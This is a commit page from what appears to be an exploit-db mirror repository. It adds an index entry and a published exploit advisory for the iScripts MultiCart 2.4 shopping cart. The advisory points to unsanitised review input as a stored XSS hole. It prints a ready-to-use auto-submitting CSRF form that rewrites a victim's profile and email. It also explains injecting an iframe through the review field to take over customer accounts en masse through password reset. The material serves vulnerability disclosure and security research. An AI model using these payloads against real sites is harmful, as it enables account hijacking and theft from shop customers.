bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Updated 01_13_2014

Browse source
This commit is contained in:
Offensive Security 2014-01-13 04:08:42 +00:00
parent 9819acebe5
commit 06a2c0fb2d
2 changed files with 67 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

1
files.csv
View file

@ -27235,6 +27235,7 @@ id,file,description,date,author,platform,type,port
30333,platforms/php/webapps/30333.txt,"PHMe 0.0.2 Function_List.PHP Local File Include Vulnerability",2007-07-23,You_You,php,webapps,0
30336,platforms/windows/local/30336.py,"VUPlayer 2.49 - (.M3U) Universal Buffer Overflow (DEP Bypass)",2013-12-16,"Morteza Hashemi",windows,local,0
30356,platforms/php/webapps/30356.txt,"Wallpaper Script 3.5.0082 - Stored XSS Vulnerability",2013-12-16,"null pointer",php,webapps,0
30357,platforms/php/webapps/30357.txt,"iScripts MultiCart <= 2.4 - Persistent XSS / CSRF / XSS+CSRF Mass Accounts takeover",2013-12-16,"Saadi Siddiqui",php,webapps,0
30358,platforms/hardware/webapps/30358.txt,"UPC Ireland Cisco EPC 2425 Router / Horizon Box",2013-12-16,"Matt O'Connor",hardware,webapps,0
30361,platforms/hardware/webapps/30361.txt,"Beetel TC1-450 Airtel Wireless Router - Multiple CSRF Vulnerabilities",2013-12-16,"Samandeep Singh",hardware,webapps,0
30362,platforms/hardware/webapps/30362.txt,"Cisco EPC3925 - Cross Site Request Forgery",2013-12-16,"Jeroen - IT Nerdbox",hardware,webapps,0

Can't render this file because it is too large.

66
platforms/php/webapps/30357.txt Executable file
View file

@ -0,0 +1,66 @@
# Exploit Title : iScripts MultiCart <= 2.4 Persistent XSS / CSRF / XSS+CSRF Account takeover
# Date : 2013/12/14
# Exploit Author : Saadat Ullah ? saadi_linux[at]rocketmail[dot]com
# Software Link : http://www.iscripts.com
# Author HomePage: http://security-geeks.blogspot.com
# Tested on: Server : Apache/2.2.15 PHP/5.3.3
# Cross-site Scripting
iScript MultiCart is an paid shoping cart system , suffers from XSS and Cross-site request forgery vulnerability through which
attacker can manipulate user data via sending him malicious craft url.
XSS in product Review , so alot exploitation can be done as inject code will be execute whenever a product is visited by clients.
In Product_review.php line 52--- Persistent XSS
mysql_query("insert into ".$tableprefix."Review (nUserId,nProdId,vDes,vActive) values ('".$_SESSION["sess_userid"]."',
'".$_POST["pid"]."','".$_POST["txtReview"]."','".$aActive."')") or die(mysql_error());
$_POST['txtReview'] is inserted without sanitizing.
Exploitation
Goto http://site.tld/product_review.php?pid=[any product id]
Paste your xss vector and submit.
XSS vector will be executed here
http://site.tld/productdetails.php?productid=1 -->same product id for which you submited the review.
# Cross-site request forgery
<html>
<body onload="javascript:document.forms[0].submit()">
<form name="ex"action="http://localhost/profile.php" method=post >
<input type=hidden size=30 maxlength=30 name=userid value="5">
<input type=hidden size=30 maxlength=30 name=txtFirstName value="admin">
<input type=hidden size=30 maxlength=100 name=txtLastName value="admin">
<input type=hidden size=30 maxlength=30 name=txtEmail value="admin@gmail.com">
<input type=hidden size=30 maxlength=30 name=txtAddress1 value="asdf">
<input type=hidden size=30 maxlength=30 name=txtCity value="saf">
<input type=hidden size=30 maxlength=30 name=bill_country value="DZ">
<input type=hidden size=30 maxlength=30 name=bill_state value="adsf">
<input type=hidden size=30 maxlength=250 name=btnSaveChanges value="Save Changes">
<input type=submit name=btnSaveChanges class=button value='Save'>
</form>
</html>
# XSS+CSRF Mass Email Change /Mass Account Takeover
XSS+CSRF can be used to change mass user email , after changing the email we can change the password too via
forget password option and providing email.
Just inject a CSRF iframe as XSS vector on product_review.php
E.g
<iframe src="http://www.site.tld/inject.html"></iframe>
Inject.html ---> CRSF exploit
So now whenever user browse different products their useremail will be changed automatically.
#Independent Pakistani Security Researcher